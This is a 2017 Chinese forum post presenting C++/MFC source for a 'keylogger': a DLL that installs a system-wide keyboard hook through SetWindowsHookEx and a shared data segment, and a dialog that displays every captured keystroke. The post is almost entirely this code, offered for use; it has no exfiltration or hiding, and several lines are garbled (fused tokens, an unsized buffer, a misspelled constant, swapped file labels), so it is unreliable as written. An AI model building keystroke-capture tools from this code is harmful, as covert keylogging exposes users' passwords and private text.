一个人在漂 发表于 2017-6-2 13:22:40

键盘记录程序代码

键盘记录程序


-------------------------------------------------------------------------------
主程序:
就是基于对话框的框架,加个个OnHookKey函数,
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
        char szKey={0};
        GetKeyNameText(lParam, szKey, 80);
        CString strItem;
        strItem.Format("按键:%s\r\n", szKey);
        CString strEdit;
        GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
        GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
        ::MessageBeep(MB_OK);
        return 0;
}
在初始化时,调用DLL中的:
SetKeyHook(TRUE, 0, m_hWnd)在析构时,调用DLL中的:
SetKeyHook(FALSE);
.cpp代码

#include <afxwin.h>
#defineHM_KEY WM_USER+100
//CMyApp
class CMyApp:public CWinApp
{
public:
        BOOL InitInstance();
};

//CMyDialog
class CMainDialog:public CDialog
{
public:
        CMainDialog(CWnd* pParentWnd = NULL);

protected:
        virtual BOOL OnInitDialog( );
        afx_msg void OnCancel();
        afx_msg long OnHookKey(WPARAM wParam, LPARAM lParam);//处理自定义消息的声明

        DECLARE_MESSAGE_MAP()
};.h代码:
#include "resource.h"
#include "KeyHookApp.h"
#include "KeyHook.h"
#pragma comment(lib,"KeyHook.lib")

CMyApp theApp;

BOOL CMyApp::InitInstance()
{
        CMainDialog dlg;
        m_pMainWnd = &amp;dlg;   //给m_pMainWnd 主窗口
        dlg.DoModal();
        return FALSE; //不进入消息循环
}


BEGIN_MESSAGE_MAP(CMainDialog, CDialog)
        ON_MESSAGE(HM_KEY, OnHookKey) //自定义消息
END_MESSAGE_MAP()

//CMainDialog
CMainDialog::CMainDialog(CWnd* pParentWnd):CDialog(IDD_MAIN, pParentWnd)
{

}
BOOL CMainDialog::OnInitDialog( )
{
        CDialog::OnInitDialog();
        if (!SetKeyHook(TRUE, 0, m_hWnd))
        {
                MessageBox("安装钩子失败");
        }
       
        return TRUE;
}
//处理关闭消息
void CMainDialog::OnCancel()
{
        OutputDebugString("oncancel");
        SetKeyHook(FALSE);
        CDialog::OnCancel();
        return;
}
long CMainDialog::OnHookKey(WPARAM wParam, LPARAM lParam)   //处理自定义消息
{
        char szKey={0};
        GetKeyNameText(lParam, szKey, 80);
        CString strItem;
        strItem.Format("按键:%s\r\n", szKey);
        CString strEdit;
        GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit);
        GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem);
        ::MessageBeep(MB_OK);
        return 0;
}
dll的代码:
.cpp
// KeyHook.cpp : 定义 DLL 应用程序的导出函数。
//

#include "stdafx.h"
#include "KeyHook.h"


//共享数据段
#pragma data_seg("YCIShared")
HWND g_hWndCaller=NULL; //保存主窗口句柄
HHOOK g_hHook = NULL; //保存钩子句柄
#pragma data_seg()
// 这是导出变量的一个示例
KEYHOOK_API int nKeyHook=0;

// 这是导出函数的一个示例。
KEYHOOK_API int fnKeyHook(void)
{
        return 42;
}


//通过内存得到模块句柄的帮助函数
HMODULE WINAPI ModuleFromAddress(LPVOID pv)
{
        MEMORY_BASIC_INFORMATIONmbi;
        if (0 != ::VirtualQuery(pv, &amp;mbi, sizeof(MEMORY_BASIC_INFORMATION)))
        {
                return (HMODULE)mbi.AllocationBase;
        }
        else
        {
                return NULL;
        }
}
//钩子处理函数
LRESULT CALLBACK KeyboardProc(
        __inint code,
        __inWPARAM wParam,
        __inLPARAM lParam
        )
{
        if (code<0||code==HC_NOREM)
        {
                return ::CallNextHookEx(g_hHook, code, wParam,lParam);
        }
        //如果重复消息,交给下一链
        if (lParam &amp; 0x40000000)
        {
                return ::CallNextHookEx(g_hHook, code, wParam,lParam);
        }
        //通知主窗口
        ::PostMessageA(g_hWndCaller, HM_KEY, wParam, lParam);
        return ::CallNextHookEx(g_hHook, code, wParam,lParam);
       
}
//安装和卸载钩子函数
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId, HWND hWndCaller)
{
        BOOL bRet = TRUE;
        g_hWndCaller = hWndCaller;
        if (bInstall) //安装钩子
        {
                g_hHook =::SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, ModuleFromAddress(KeyboardProc), dwThreadId);
                bRet = (g_hHook != NULL);
        }
        else //卸载钩子
        {
                ::UnhookWindowsHookEx(g_hHook);
                g_hHook = NULL;
        }
        return bRet;
}
// 这是已导出类的构造函数。
// 有关类定义的信息,请参阅 KeyHook.h
CKeyHook::CKeyHook()
{
        return;
}

.h
// 下列 ifdef 块是创建使从 DLL 导出更简单的
// 宏的标准方法。此 DLL 中的所有文件都是用命令行上定义的 KEYHOOK_EXPORTS
// 符号编译的。在使用此 DLL 的
// 任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将
// KEYHOOK_API 函数视为是从 DLL 导入的,而此 DLL 则将用此宏定义的
// 符号视为是被导出的。
#ifdef KEYHOOK_EXPORTS
#define KEYHOOK_API __declspec(dllexport)
#else
#define KEYHOOK_API __declspec(dllimport)
#endif

#defineHM_KEY WM_USER + 100
// 此类是从 KeyHook.dll 导出的
class KEYHOOK_API CKeyHook {
public:
        CKeyHook(void);
        // TODO: 在此添加您的方法。
};

extern KEYHOOK_API int nKeyHook;

KEYHOOK_API int fnKeyHook(void);

//声明要导出的
BOOL KEYHOOK_API WINAPI SetKeyHook(BOOL bInstall, DWORD dwThreadId=0, HWND hWndCaller=NULL);
.def
EXPORTS
        SetKeyHook
SECTIONS
        YCISharedRead Write Shared
页: [1]
查看完整版本: 键盘记录程序代码